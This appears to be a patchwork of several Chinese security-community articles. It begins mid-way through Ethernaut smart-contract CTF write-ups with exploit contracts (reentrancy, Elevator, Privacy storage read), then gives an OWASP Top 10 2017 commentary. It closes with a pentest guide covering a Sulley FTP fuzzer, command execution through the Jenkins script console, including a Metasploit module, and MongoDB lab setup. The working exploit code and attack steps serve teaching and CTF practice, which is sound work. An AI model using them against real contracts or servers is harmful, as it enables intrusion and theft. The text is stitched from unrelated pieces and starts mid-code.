function mywithdraw() external payable{
require(msg.sender==owner,'not you');
msg.sender.transfer(address(this).balance);
}
}
可以看到，合约在初始创建的时候往里面存了`0.001
ether`，也就是`1000000000000000 wei`，这也是为什么上面代码中为这个数字,注意部署时需要存入`1000000000000000
wei`
部署后首先执行`step1`，执行后可以看到合约地址对应余额增大了，说明`donate`存款成功
执行`step2`，利用进入`fallback`函数的重入再次转账，可以看到余额数量变得很大，并且题目合约余额为0，说明攻击成功
# 11\. Elevator
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
这道题其漏洞其实跟solidity关系不大，有点像逻辑漏洞？
上述代码中，`Building`是一个接口，类似抽象类，而`isLastFloor`则类似一个抽象函数，这里`Building(msg.sender)`远程调用我们传入的合约，因此我们可以自己设计这个函数的具体内容。题目最终要求我们到达电梯顶层，也就是让`top=true`。但分析代码可知，如果要进入if分支，那么`building.isLastFloor(_floor)`必须返回false，而top又等于`building.isLastFloor(_floor)`，似乎top只能为false。注意到，判断和赋值这里是两次函数调用，它们的返回结果并不一定相同。如果我们设置`isLastFloor`为针对同一个变量的取反函数，那么第一次调用返回false，第二次调用返回true，即可满足题目条件，具体代码如下：
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Elevator {
function goTo(uint _floor) external;
}
contract Building {
bool x=true;
address target;
Elevator elevator;
function isLastFloor(uint) external returns (bool){
x=!x;
return x;
}
function exploit(address _addr) public{
elevator= Elevator(_addr);
elevator.goTo(2);
}
}
其中x是一个内部状态变量，初始值为`true`，因此第一次调用时返回false，第二次取反返回true，从而绕过题目判断。其他语言里如果判断函数是一个对相同变量的取反函数的话也会存在这种问题8。
# 12\. Privacy
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
题目很简单，就是我们输入data数组第二个元素的前16个字节即可，考察的还是以太坊合约中状态变量的内存分布。使用`await
web3.eth.getStorageAt(instance,
5)`读取到数组`data[2]`的内容为`0x246a7e946b46f638611408e1608743c0e8fb1f95538dce4a1921213f0ce798c5`，注意bytes16是从高地址开始截取的，所以传入`await
contract.unlock('0x246a7e946b46f638611408e1608743c0')`即可
**具体内存模型** :本文中是一个静态数组，数组元素也是跟在前面的元素后面直接排列的，也就是下面这样的内存分布。
=============================================
unused | locked
----------------------------------------------------------------- slot 0
31 bytes | 1 byte
=============================================
ID
----------------------------------------------------------------- slot 1
32 bytes
=============================================
unused |awkwardness|denomination|flattening|
----------------------------------------------------------------- slot 2
28 bytes|2 bytes | 1 byte | 1 byte
=============================================
data[0]
----------------------------------------------------------------- slot 3
32 bytes
=============================================
data[1]
----------------------------------------------------------------- slot 4
32 bytes
=============================================
data[2]
----------------------------------------------------------------- slot 5
32 bytes
=============================================
如果，如果定义是`bytes32[] private data`，也就是定义成一个动态数组的话，那么内存模型是这样的。
=============================================
unused | locked
----------------------------------------------------------------- slot 0
31 bytes | 1 byte
=============================================
ID
----------------------------------------------------------------- slot 1
32 bytes
=============================================
unused |awkwardness|denomination|flattening
----------------------------------------------------------------- slot 2
28 bytes|2 bytes | 1 byte | 1 byte
=============================================
data.length
----------------------------------------------------------------- slot 3
32 bytes
=============================================
......
=============================================
data[0]
----------------------------------------------------------------- slot keccak256(3)
32 bytes
=============================================
data[1]
----------------------------------------------------------------- slot keccak256(3)+1
32 bytes
=============================================
data[2]
----------------------------------------------------------------- slot keccak256(3)+2
32 bytes
============================================= | 社区文章 |
原文首发t00ls，应冰总需要先知发个贴
小编：下次必须首发先知，不然大刑伺候 哈哈哈哈
Author:sm0nk@猎户实验室
# **0x00 Top10**
OWASP Top10漏洞体系长期以来作为Web攻防白帽子既基础又核心的一个标准。漏洞标准变化如下：
图一
变化内容：**
1. 合并了2013-A4“不安全的直接对象引用”和2013-A7“功能级访问控制功能缺失”到2017-A4“无效的访问控制”。
2. 增加了2017-A7：攻击检测与防范不足
3. 增加了 2017-A10: 未受保护的API
4. 去掉了: 2013-A10:未验证的重定向和转发
5. 根据增删内容，标准中多次提到了API安全的关键字
6. 根据解说内容，标准逐渐向抽象性漏洞过渡和延伸，包括登录体系、会话权限等系列的逻辑漏洞。
# **0x01 漏洞关联**
官方提到 T10围绕主要风险区域进行整理，而不是密封，不重叠或严格的分类。 其中一些是围绕着攻击者整理的，一些是脆弱性，一些是防御，一些是资产。
组织应考虑制定措施，以消除这些问题。Top10 与日常渗透的实际的漏洞点结合起来，关联如下：
图二
当然硬性的把某个漏洞直接归类到An类型，也不是很友好，比如上传漏洞归到A4 –
失效的访问控制略显牵强，因为从数据包上面理解更像是注入，但文件包含、任意下载删除这基本和权限是有关的，所以暂时把文件操作类漏洞归纳为A4。虽然硬性归纳和漏洞堆叠
部分略显牵强，但这种类型的关联能够体现线性拓展以便进一步建模分析，用以滚雪球式充当产品漏报和误报的理论基础。
# **0x02 接口安全**
本次更新，API关键字上镜率特别高，SO尝试单独对接口安全进行汇总分析。
科普到关于API的定义和范围，简单理解就是接口，连接两部分代码的粘合剂。我们可以在APIStore搜索到关于N多产品分类的接口，但这些API对于已有漏洞挖掘经验来分析，规律统一，所以我们按照日常漏洞挖掘的思维去分类，如下：
图三
回想Web安全漏洞挖掘主要集结在输入输出、登录体系、会话权限三大类（包含了常见的WEB漏洞以及逻辑漏洞），当然依据目前移动互联网的趋势还有多种文件及数据类型XML
JSON RPC GWT
的接口，所以有必要针对接口安全进行细分及挖掘。渗透过程中经常会遇到手机APP、小程序、微信公众号类等，好多都是基于WebService，所以仍然可以找到类似Web一样的服务端漏洞。
Tips:对APP进行反编译，在内部根据域名和IP进行正则匹配，往往也是个薄弱出发点。
图四
我们再回看一个关于支付接口的漏洞分类，以便进一步佐证接口安全在渗透的地位。当然如果考虑防御的话，更多考虑的是机制是协同。
图五
另外关于接口数据的关联整合，这个一直想表达的，但碍于案例，目前尚未发布。举例说明通过登录接口部分不健全机制，可以获得用户名对应的隐藏几位的手机号，根据手机号可获得用户名。还可以根据用户名能够对应论坛的个人属性。这样经过大量数据爬虫后，可以对应“用户名
---手机号---个人属性”的关联信息。这部分可能在房产、金融等领域会有突出的效果。
# **0x03 信息参考**
OWASP Top 10 - 2017 RC1-English.pdf
OWASP Top 10 - 2017 RC1-chinese.pdf （DSRC翻译）
OWASP top10 全局关联图个人归纳总结
链接：<http://pan.baidu.com/s/1nuCOMmd> 密码：hrup
图六 | 社区文章 |
本节目录：
[TOC]
# 漏洞评估
确定了最可行的攻击方法之后，您需要考虑如何访问目标。在脆弱性分析过程中，您可以结合前一阶段学到的信息，并用它来了解哪些攻击是可行的。其中，漏洞分析考虑了端口和漏洞扫描，通过抓取banner收集的数据以及收集情报期间收集的信息。
**评估分类** | **书签**
---|---
网络评估 |
Web应用程序评估 |
数据库评估
## 网络评估
### Fuzzers-sulley
代码(fuzz_PCManftpd32.py)
#coding=utf-8
# 视频1使用Sulley框架的实现fuzz
# http://www.dfate.de/public/index.php/post/exploit-development-series-video-1-practical-fuzzing-basics-using-the-sulley-framework
# https://www.exploit-db.com/exploits/37731/
# ------------------------------------------------------------------- # Usage:
# C:\Fuzzing\sulley>python network_monitor.py -d 0 -f "port 21" -P audit
# C:\Fuzzing\sulley>python process_monitor.py -c audit\pcmanftpd_crashbin -p "PCManFTPD2.exe"
# ------------------------------------------------------------------- # 分析:
"""
220 PCMan's FTP Server 2.0 Ready.
USER anonymous
331 User name okay, need password.
PASS password12345
230 User logged in
PORT 192,168,1,106,206,27
200 Command okay.
STOR demo2.txt
150 File status okay; Open data connection.
226 Data Sent okay.
PORT 192,168,1,106,206,28
200 Command okay.
LIST
150 File status okay; Open data connection.
226 Data Sent okay.
PORT 192,168,1,106,206,29
200 Command okay.
RETR demo2.txt
150 File status okay; Open data connection.
226 Data Sent okay.
QUIT
"""
from sulley import *
# 总体概述
#1.创建请求（定义模糊语法）
#2.定义会话
#3.定义目标
#4.fuzz！
# s_initialize - 构建一个新的请求
# s_static ("USER") - 一个静态（未改变）的字符串，不会被fuzz
# s_delin(" ") - 可以fuzz的分隔符，将有不同的使用s_string的变动
# s_string("anonymous") - 一个将被变动的字符串。 包含比s_delim更多的变动
# ------------------------------------------------------------------- # 语法测试
s_initialize("user")
s_static("USER")
s_delim(" ", fuzzable=False)
s_string("anonymous")
s_static("\r\n")
s_initialize("pass")
s_static("PASS")
s_delim(" ", fuzzable=False)
s_string("pass12345")
s_static("\r\n")
s_initialize("put")
s_static("PUT")
s_delim(" ", fuzzable=False)
s_string("fuzz_strings")
s_static("\r\n")
s_initialize("stor")
s_static("STOR")
s_delim(" ", fuzzable=True)
s_string("AAAA")
s_static("\r\n")
s_initialize("mkd")
s_static("MKD")
s_delim(" ", fuzzable=False)
s_string("AAAA")
s_static("\r\n")
# ------------------------------------------------------------------- # 定义pre_send函数。 三次握手后会立即执行
def receive_ftp_banner(sock):
data = sock.recv(1024)
print(data)
# ------------------------------------------------------------------- # 定义会话
# 会话参数
SESSION_FILENAME = "pcmanftpd-session" # 跟踪当前的fuzz状态
SLEEP_TIME = 0.5 # 在两次fuzz尝试之间暂停
TIMEOUT = 5 # 没有连接5秒后，fuzz会超时
CRASH_THRESHOLD = 4 # 4次崩溃后，参数将被跳过
mysession = sessions.session(
session_filename=SESSION_FILENAME,
sleep_time=SLEEP_TIME,
timeout=TIMEOUT,
crash_threshold=CRASH_THRESHOLD)
mysession.pre_send = receive_ftp_banner
mysession.connect(s_get("user"))
mysession.connect(s_get("user"), s_get("pass"))
mysession.connect(s_get("pass"), s_get("stor"))
mysession.connect(s_get("pass"), s_get("mkd"))
mysession.connect(s_get("pass"), s_get("put"))
# ------------------------------------------------------------------- # 绘制代表fuzz路径的图形。
with open("session_test.udg", "w+") as f:
f.write(mysession.render_graph_udraw())
# ------------------------------------------------------------------- # 一些概述输出
print("Number of mutation during one case: %s\n" % str(s_num_mutations()))
print("Total number of mutations: %s\n" % str(s_num_mutations() * 5))
decision = raw_input("Do you want to continue?(y/n): ")
if decision == "n":
exit()
# ------------------------------------------------------------------- # 定义目标具体参数
host = "192.168.1.107"
ftp_port = 21
netmon_port = 26001
procmon_port = 26002
target = sessions.target(host, ftp_port)
target.procmon = pedrpc.client(host, procmon_port)
target.netmon = pedrpc.client(host, netmon_port)
target.procmon_options = {
"proc_name": "pcmanftpd2.exe",
"stop_commands": ["wmic process where (name='PCManFTPD2.exe') call terminate"],
"start_commands": ["C:\\PCManFTP\\PCManFTPD2.exe"]
}
# 将目标添加到会话
mysession.add_target(target)
# ------------------------------------------------------------------- # 让我们开始搞事情
print("Starting fuzzing now")
mysession.fuzz()
# 开启fuzz进程
# 也可以通过网页界面（http://127.0.0.1:26000）查看当前状态
#### 代码分析
该代码通过sulley框架来进行fuzz测试，首先进行语法测试，构造多个新请求(包括FTP的user、pass、put、stor、mkd)，设置静态字符串和FUZZ字符串，然后定义pre_send三次握手后立即执行，定义会话及会话参数，绘制udg格式的fuzz路径图形，输入一些概述后定义目标具体参数，将目标添加到会话中，直接开始搞事情。
期间可以通过网页界面`(http://127.0.0.1:26000)`查看当前状态
### Jenkins Hacking
1. 如何部署jenkins？
2. 如何利用jenkins服务器？
Jenkins是一个独立、开源的自动化服务器，可用于自动执行各种任务，如构建，测试和部署软件。Jenkins可以通过本地系统软件包Docker安装，甚至是独立运行在安装java运行环境的任何机器上。
#### 如何部署jenkins？
这引导将使用“独立的”Jenkins发行版，该发行版要求最少使用Java 7，但建议使用Java 8。还建议使用超过512MB RAM的系统。
1. [下载Jenkins](http://mirrors.jenkins.io/war-stable/latest/jenkins.war).
2. 在下载目录中打开终端并运行java -jar jenkins.war
3. 在浏览器中打开http：// localhost：8080并按照说明完成安装。
4. 许多Pipeline示例需要在与Jenkins相同的计算机上安装Docker。
请检查安装日志，如下：
root@lab:~/Downloads# java -jar jenkins.war
Running from: /root/Downloads/jenkins.war
webroot: $user.home/.jenkins
Mar 15, 2017 5:03:49 AM Main deleteWinstoneTempContents
WARNING: Failed to delete the temporary Winstone file /tmp/winstone/jenkins.war
Mar 15, 2017 5:03:50 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Logging initialized @6168ms
Mar 15, 2017 5:03:50 AM winstone.Logger logInternal
INFO: Beginning extraction from war file
Mar 15, 2017 5:04:05 AM org.eclipse.jetty.util.log.JavaUtilLog warn
WARNING: Empty contextPath
Mar 15, 2017 5:04:06 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: jetty-9.2.z-SNAPSHOT
Mar 15, 2017 5:04:10 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: NO JSP Support for /, did not find org.eclipse.jetty.jsp.JettyJspServlet
Jenkins home directory: /root/.jenkins found at: $user.home/.jenkins
Mar 15, 2017 5:04:20 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Started w.@30990c1b{/,file:/root/.jenkins/war/,AVAILABLE}{/root/.jenkins/war}
Mar 15, 2017 5:04:20 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Started ServerConnector@54227100{HTTP/1.1}{0.0.0.0:8080}
Mar 15, 2017 5:04:20 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Started @36602ms
Mar 15, 2017 5:04:20 AM winstone.Logger logInternal
INFO: Winstone Servlet Engine v2.0 running: controlPort=disabled
Mar 15, 2017 5:04:22 AM jenkins.InitReactorRunner$1 onAttained
INFO: Started initialization
Mar 15, 2017 5:04:23 AM jenkins.InitReactorRunner$1 onAttained
INFO: Listed all plugins
Mar 15, 2017 5:04:45 AM jenkins.InitReactorRunner$1 onAttained
INFO: Prepared all plugins
Mar 15, 2017 5:04:45 AM jenkins.InitReactorRunner$1 onAttained
INFO: Started all plugins
Mar 15, 2017 5:04:45 AM jenkins.InitReactorRunner$1 onAttained
INFO: Augmented all extensions
Mar 15, 2017 5:04:51 AM jenkins.InitReactorRunner$1 onAttained
INFO: Loaded all jobs
Mar 15, 2017 5:04:51 AM hudson.model.AsyncPeriodicWork$1 run
INFO: Started Download metadata
Mar 15, 2017 5:04:52 AM org.jenkinsci.main.modules.sshd.SSHD start
INFO: Started SSHD at port 43731
Mar 15, 2017 5:04:53 AM jenkins.InitReactorRunner$1 onAttained
INFO: Completed initialization
Mar 15, 2017 5:04:55 AM org.springframework.context.support.AbstractApplicationContext prepareRefresh
INFO: Refreshing org.springframework.web.context.support.StaticWebApplicationContext@4d8c4701: display name [Root WebApplicationContext]; startup date [Wed Mar 15 05:04:55 EDT 2017]; root of context hierarchy
Mar 15, 2017 5:04:55 AM org.springframework.context.support.AbstractApplicationContext obtainFreshBeanFactory
INFO: Bean factory for application context [org.springframework.web.context.support.StaticWebApplicationContext@4d8c4701]: org.springframework.beans.factory.support.DefaultListableBeanFactory@16f7f485
Mar 15, 2017 5:04:55 AM org.springframework.beans.factory.support.DefaultListableBeanFactory preInstantiateSingletons
INFO: Pre-instantiating singletons in org.springframework.beans.factory.support.DefaultListableBeanFactory@16f7f485: defining beans [authenticationManager]; root of factory hierarchy
Mar 15, 2017 5:04:58 AM org.springframework.context.support.AbstractApplicationContext prepareRefresh
INFO: Refreshing org.springframework.web.context.support.StaticWebApplicationContext@1aa6a1d4: display name [Root WebApplicationContext]; startup date [Wed Mar 15 05:04:58 EDT 2017]; root of context hierarchy
Mar 15, 2017 5:04:58 AM org.springframework.context.support.AbstractApplicationContext obtainFreshBeanFactory
INFO: Bean factory for application context [org.springframework.web.context.support.StaticWebApplicationContext@1aa6a1d4]: org.springframework.beans.factory.support.DefaultListableBeanFactory@26dbd965
Mar 15, 2017 5:04:58 AM org.springframework.beans.factory.support.DefaultListableBeanFactory preInstantiateSingletons
INFO: Pre-instantiating singletons in org.springframework.beans.factory.support.DefaultListableBeanFactory@26dbd965: defining beans [filter,legacy]; root of factory hierarchy
Mar 15, 2017 5:04:59 AM jenkins.install.SetupWizard init
INFO:
*************************************************************
*************************************************************
*************************************************************
Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:
e019dca34bac4a30beca67b53e821f35
This may also be found at: /root/.jenkins/secrets/initialAdminPassword
*************************************************************
*************************************************************
*************************************************************
Mar 15, 2017 5:05:06 AM hudson.model.UpdateSite updateData
INFO: Obtained the latest update center data file for UpdateSource default
Mar 15, 2017 5:05:09 AM hudson.model.DownloadService$Downloadable load
INFO: Obtained the updated data file for hudson.tasks.Maven.MavenInstaller
Mar 15, 2017 5:05:09 AM hudson.model.UpdateSite updateData
INFO: Obtained the latest update center data file for UpdateSource default
Mar 15, 2017 5:05:10 AM hudson.WebAppMain$3 run
INFO: Jenkins is fully up and running
Mar 15, 2017 5:05:10 AM javax.jmdns.impl.HostInfo newHostInfo
WARNING: Could not intialize the host network interface on nullbecause of an error: lab: lab: Temporary failure in name resolution
java.net.UnknownHostException: lab: lab: Temporary failure in name resolution
at java.net.InetAddress.getLocalHost(InetAddress.java:1505)
at javax.jmdns.impl.HostInfo.newHostInfo(HostInfo.java:75)
at javax.jmdns.impl.JmDNSImpl.<init>(JmDNSImpl.java:407)
at javax.jmdns.JmDNS.create(JmDNS.java:60)
at hudson.DNSMultiCast$1.call(DNSMultiCast.java:33)
at jenkins.util.ContextResettingExecutorService$2.call(ContextResettingExecutorService.java:46)
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: java.net.UnknownHostException: lab: Temporary failure in name resolution
at java.net.Inet6AddressImpl.lookupAllHostAddr(Native Method)
at java.net.InetAddress$2.lookupAllHostAddr(InetAddress.java:928)
at java.net.InetAddress.getAddressesFromNameService(InetAddress.java:1323)
at java.net.InetAddress.getLocalHost(InetAddress.java:1500)
... 9 more
Mar 15, 2017 5:05:18 AM hudson.model.DownloadService$Downloadable load
INFO: Obtained the updated data file for hudson.tools.JDKInstaller
Mar 15, 2017 5:05:18 AM hudson.model.AsyncPeriodicWork$1 run
INFO: Finished Download metadata. 27,508 ms
请注意这里，我们需要密码来完成设置。
Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:
e019dca34bac4a30beca67b53e821f35
#### 如何利用jenkins服务器？
访问 <http://127.0.0.1:8080/script>, 并用脚本控制台pwn jenkins服务器。
> 脚本控制台
>
>
> 输入一个任意的Groovy脚本并在服务器上执行它。用于故障排除和诊断。使用'println'命令来查看输出结果(如果使用System.out，它将转到服务器的stdout，这是很难看到的。)
>
> 例如：
#### **execmd.groovy**
**execmd.groovy** 可以帮助你在jenkins服务器上执行os命令。
# Windows
println "cmd.exe /c dir".execute().text
# Linux
println "uname -a".execute().text
#### **writefile.groovy**
**writefile.groovy** 可以将字符串写入jenkins服务器上的文件。
new File("/tmp/test.sh").write("""
echo "123"
echo "456"
""")
如果你更喜欢[metasploit-framework](https://github.com/rapid7/metasploit-framework),
msf > use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > show options
Module options (exploit/multi/http/jenkins_script_console):
Name Current Setting Required Description
---- --------------- -------- ----------- PASSWORD password no The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.1.100 yes The target address
RPORT 8080 yes The target port
TARGETURI / yes The path to jenkins
USERNAME test no The username to authenticate as
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ---- 1 Linux
msf exploit(jenkins_script_console) > exploit
#### 链接
1. <https://jenkins.io/>
## WEB应用程序评估
### Android hacking 与 安全
1. [利用保护应用程序组件](http://resources.infosecinstitute.com/android-hacking-security-part-1-exploiting-securing-application-components/)
2. [内容提供者泄露](http://resources.infosecinstitute.com/android-hacking-security-part-2-content-provider-leakage/)
3. [利用广播接收机](http://resources.infosecinstitute.com/android-hacking-security-part-3-exploiting-broadcast-receivers/)
4. [利用非预期的数据泄漏端信道数据泄漏](http://resources.infosecinstitute.com/android-hacking-security-part-4-exploiting-unintended-data-leakage-side-channel-data-leakage/)
5. [使用jdb调试java应用程序](http://resources.infosecinstitute.com/android-hacking-security-part-5-debugging-java-applications-using-jdb/)
6. [利用可调试的android应用程序](http://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/)
7. [攻击android的webviews](http://resources.infosecinstitute.com/android-hacking-security-part-7-attacks-android-webviews/)
8. [根检测规避](http://resources.infosecinstitute.com/android-hacking-security-part-8-root-detection-evasion/)
9. [不安全的本地存储共享偏好](http://resources.infosecinstitute.com/android-hacking-security-part-9-insecure-local-storage-shared-preferences/)
10. [不安全的本地存储](http://resources.infosecinstitute.com/android-hacking-security-part-10-insecure-local-storage/)
11. [黑盒评估introspy](http://resources.infosecinstitute.com/android-hacking-security-part-11-blackbox-assessments-introspy/)
12. [保护共享偏好第三方库](http://resources.infosecinstitute.com/android-hacking-security-part-12-securing-shared-preferences-third-party-libraries/)
13. [drozer介绍](http://resources.infosecinstitute.com/android-hacking-security-part-13-introduction-drozer/)
14. [检查Android应用程序特定的数据非根设备](http://resources.infosecinstitute.com/android-hacking-security-part-14-examining-android-app-specific-data-non-rooted-devices/)
15. [使用备份技术攻击android应用程序](http://resources.infosecinstitute.com/android-hacking-security-part-15-hacking-android-apps-using-backup-techniques/)
16. [破解密码学](http://resources.infosecinstitute.com/android-hacking-security-part-16-broken-cryptography/)
17. [破解Android应用程序二进制文件](http://resources.infosecinstitute.com/android-hacking-security-part-17-cracking-android-app-binaries/)
18. [逆向工程介绍](http://resources.infosecinstitute.com/android-hacking-and-security-part-18-introduction-to-reverse-engineering/)
19. [使用nosql数据库不安全的数据存储](http://resources.infosecinstitute.com/android-hacking-and-security-part-19-insecure-data-storage-with-nosql-databases/)
20. [使用gdb在android模拟器上调试应用程序](http://resources.infosecinstitute.com/android-hacking-and-security-part-20-debugging-apps-on-android-emulator-using-gdb/)
### 安卓逆向工程
1. <http://www.fasteque.com/android-reverse-engineering-101-part-1/>
2. <http://www.fasteque.com/android-reverse-engineering-101-part-2/>
3. <http://www.fasteque.com/android-reverse-engineering-101-part-3/>
4. <http://www.fasteque.com/android-reverse-engineering-101-part-4/>
5. <http://www.fasteque.com/android-reverse-engineering-101-part-5/>
### [Android安全和渗透利用](http://www.pentesteracademy.com/course?id=24)
1. 介绍
2. Android的安全性-介绍
3. Android-架构
4. Android-权限
5. Android-应用
6. Genymotion(一款安卓模拟器) 设置
7. Android-应用程序组件
8. Dex-分析
9. Android-调试桥
10. 基于日志记录的漏洞
11. 应用逆向
12. 分析Android的软件及恶意软件
13. 流量分析
14. SSL-Pinning
15. 泄漏的内容提供商
16. Drozer-功夫
17. 基于read的内容提供商漏洞
18. 进阶Drozer-功夫
19. Drozer脚本
20. Dropbox的脆弱性
21. 基于备份的漏洞
22. 客户端注入
23. Hooking 介绍和不安全的设置
24. 基于Andbug的Android调试
25. JDB调试
26. 用Introspy自动Hooking
27. Cydia-基底
28. 使用Xposed进行Hooking
29. Androguard脚本和分析
30. 基于webviews的漏洞
31. 利用Metasploit工具攻击webviews
### 书籍推荐
1. Android安全手册
2. Android黑客手册
3. 学习针对Android设备的测试
## 数据库评估
### mongodb
#### 1\. 介绍和Labs安装.
##### 1.1 什么是MongoDB ?
> MongoDB是一种开源的、文档导向的数据库管理系统，由C++撰写而成。
> 在MongoDB中，数据以JSON样式文档的形式存储。
> MongoDB的一些主要特性:
> • 基于文档
> • 高性能
> • 高可用性
> • 简单的可扩展性
> • 没有复杂的联接
##### 1.2 安全性如何 ?
> 随着NoSQL数据库的使用越来越多，安全性应该被认真考虑。 就像其他系统一样，MongoDB的安全性也不是一个单一的工作。
> 生态系统中的每个人都对此负责。 尽管MongoDB具有一些内置的安全功能，但由于各种原因（如配置错误，不更新，编程不佳等），在生产中可能存在漏洞 。
##### 1.3 在ubuntu中安装MongoDB
>
> 我这里使用的是Ubuntu14.04，不同的版本安装MongoDB的命令可能有点差异，为了方便，Ubuntu开启了SSH服务，安装了特定版本的MongoDB
> 3.0.4。
> step 1 : 导入MongoDB GPG密钥。
> `sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv
> 7F0CEB10`
> step 2 : 为mongodb创建一个list file
> `echo "deb http://repo.mongodb.org/apt/ubuntu precise/mongodb-org/3.0
> multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.0.list`
> step 3 : 只更新mongodb-org-3.0.list
> `sudo apt-get update`
> step 4 : 安装特定版本的mongodb
> `sudo apt-get install -y mongodb-org=3.0.4 mongodb-org-server=3.0.4
> mongodb-org-shell=3.0.4 mongodb-org-mongos=3.0.4 mongodb-org-tools=3.0.4`
> step 5 : 配置防止意外升级
> `echo "mongodb-org hold" | sudo dpkg --set-selections`
> `echo "mongodb-org-server hold" | sudo dpkg --set-selections`
> `echo "mongodb-org-shell hold" | sudo dpkg --set-selections`
> `echo "mongodb-org-mongos hold" | sudo dpkg --set-selections`
> `echo "mongodb-org-tools hold" | sudo dpkg --set-selections`
> step 6 : 启动MongoDB服务
> `sudo service mongod start`
> step 7 : 验证进程是否成功启动
> `tail -20 /var/log/mongodb/mongod.log`
> 如果看到如下输出信息,意味着进程已成功启动
> `[initandlisten] waiting for connections on port <port>`
> step 8 : 为了实现渗透测试，需要使用以下步骤启动MongoDB
> `sudo mongod --httpinterface --rest --smallfiles`
##### 1.4 学习Mongo Shell
> 在前几节中，我们已经看到了对MongoDB及其设置的简要介绍。现在是时候使用Mongo
> shell并在MongoDB上执行一些命令来更好了解MongoDB及其工作。
> MongoDB使用JavaScript风格的查询，因此我们觉得大部分时间都在运行JavaScript代码。
> 本节将简要介绍MongoDB的工作原理,并且介绍简单的Mongo shell命令。
> 在我们开始之前，有几个术语要理解。
> • MongoDB 可以有多个数据库.
> • 每个数据库都含有一个或多个集合 “collections”.
> • 每个集合都含有一个或多个文档 “documents”.
现在，我们继续运行MongoDB命令。
###### 1.4.1 创建数据库
> 如果要创建的数据库名不存在，以下命令将创建一个新的数据库，数据库名已存在会直接使用它。
让我们来创建一个名为"testdb"的数据库。
###### 1.4.2 检查当前数据库
> 我们可以使用命令"db"来检查当前的数据库。 我们运行命令"db"来检查当前的数据库。
###### 1.4.3 检查数据库列表
> "show
> dbs"是列出可用数据库的命令,但是这里并没有输出我们刚才创建的testdb数据库，因为它至少需要一个文档，当我们插入一个文档，我们就可以看到列出的数据库。
###### 1.4.4 将数据插入集合
> 这个是把一个数据插入到data集合中。
> "db.data.insert({"user":"test1"})
###### 1.4.5 查询数据
> 从MongoDB集合中查询数据，可以使用find()方法。
> 让我们查询data集合中的全部文档数据。
> "db.data.find()"
###### 1.4.6 在查询数据时写入条件
> 我们还可以使用MongoDB特定的语法在类似于RDBMS条件的查询中编写条件，让我们来匹配用户名user为test1的数据。
###### 1.4.7 删除数据
> 我们可以使用remove()方法根据特定条件从集合中删除文档。让我们来删除用户名user为test3的数据。
###### 1.4.8 删除集合
> 我们可以使用drop()方法来删除集合，让我们来删除data集合。
###### 1.4.9 删除数据库
> 我们可以使用db.dropDatabase()删除目前使用的数据库。
##### 1.5 Lab实验环境安装
> 熟悉了MongoDB的基本操作之后，接下来我们本地搭建一个Lab实验环境来开始我们的MongoDB数据库渗透测试。
这里我是通过Parrot和Ubuntu虚拟机来搭建Lab实验环境的,只要确保两主机网络互通即可，桥接和NAT都可以实现。
用Ubuntu来模拟现实中的生产机器，安装MongoDB和php web应用程序。
接下来正式开始我们的Lab实验环境搭建，我这里先安装好了LAMP。
> 注意: 请使用与我用来创建数据库和集合相同的名称。这是PHP
> Web应用程序的工作所必需的。如果您更改这些名称，则可能需要相应地更改PHPWeb应用程序。
step 1 : 创建一个新的数据库
step 2 : 插入数据
把测试数据插入集合"users"和集合"products"。
db.users.insert({"username":"tom","password":"tom","email":"[email protected]","cardnumber":12345})
db.users.insert({"username":"jim","password":"jim","email":"[email protected]","cardnumber":54321})
db.users.insert({"username":"bob","password":"bob","email":"[email protected]","cardnumber":22222})
db.products.insert({"email":"[email protected]","prodname":"laptop","price":"1500USD"})
db.products.insert({"email":"[email protected]","prodname":"book","price":"50USD"})
db.products.insert({"email":"[email protected]","prodname":"diamond-ring","price":"4500USD"})
step 3 : 安装mongo的PHP驱动程序
> 为了使PHP Web应用程序能够使用MongoDB，我们需要安装PHP驱动程序。
>
>
> sudo apt-get install php-pear
> sudo pecl install mongo
>
> 如果出现如下报错，使用`sudo apt-get install php5-dev`，安装完成后。
> 再使用`sudo pecl install mongo`即可。
安装完成后，会提示把"extension=mongo.so"添加到php.ini中，添加即可。
step 4 : 安装PHP Web应用程序
> 这里安装比较简单了，直接把mongo.zip拷贝到Ubuntu,解压到/var/www/html目录下，启动apache服务即可。
